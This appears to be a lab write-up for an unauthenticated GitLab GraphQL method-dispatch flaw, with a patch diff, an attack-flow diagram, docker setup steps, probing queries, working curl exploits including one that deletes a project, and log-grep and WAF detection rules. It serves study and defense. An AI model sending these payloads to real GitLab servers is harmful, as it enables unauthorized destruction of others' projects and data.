# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL

# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
  resolver_class: NilResolver)  # ← always returns nil

                    ATTACKER (unauthenticated)
                              │
                              │  POST /api/graphql
                              │  { project(fullPath: "victim/repo") {
                              │      name
                              │      destroy @gl_introduced(version: "99.0")
                              │  }}
                              │
                              ▼
               ┌──────────────────────────────┐
               │     GitLab GraphQL API        │
               │     (no auth required)        │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   1. FutureFieldFilter        │
               │   "destroy" has @gl_introduced│
               │   version 99.0 > 19.2.0      │
               │   → Strip field              │
               │   → Set contain_future_fields │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   2. IntroducedTracer         │
               │   → Restore original query   │
               │   "destroy" is back in AST   │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   3. FutureFieldFallback      │
               │   "destroy" not in schema? ✓  │
               │   Flag set? ✓                 │
               │   Not __introspection? ✓      │
               │   → Synthesize field          │
               │   → NO RESOLVER attached      │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   4. graphql-ruby resolution  │
               │   No resolver found →         │
               │   object.public_send(:destroy)│
               │                               │
               │   Project.find("victim/repo") │
               │          .destroy()           │
               │                               │
               │   ██ PROJECT DELETED ██        │
               └──────────────────────────────┘

# Clone or navigate to the lab directory
cd CVE-2026-19478

# Pull and start the vulnerable GitLab instance
docker compose up -d

# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable

# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh

docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000

# Stop the lab
docker compose down

# Full reset (removes all data volumes)
docker compose down -v

curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}

{
  projects(membership: false) {
    nodes {
      id
      name
      fullPath
      visibility
    }
  }
}

{
  __schema {
    directives {
      name
      description
      args { name type { name } }
      locations
    }
  }
}

{
  project(fullPath: "root/pwnsystem") {
    name
    class @gl_introduced(version: "99.0")
  }
}

{
  project(fullPath: "root/pwnsystem") {
    name
    object_id @gl_introduced(version: "99.0")
    to_s @gl_introduced(version: "99.0")
  }
}

{
  project(fullPath: "root/pwnsystem") {
    name
    destroy @gl_introduced(version: "99.0")
  }
}

# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq

# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq

# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq

# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log

# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
  awk -F. '$1 > 20 {print}'

# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
    return 403;
}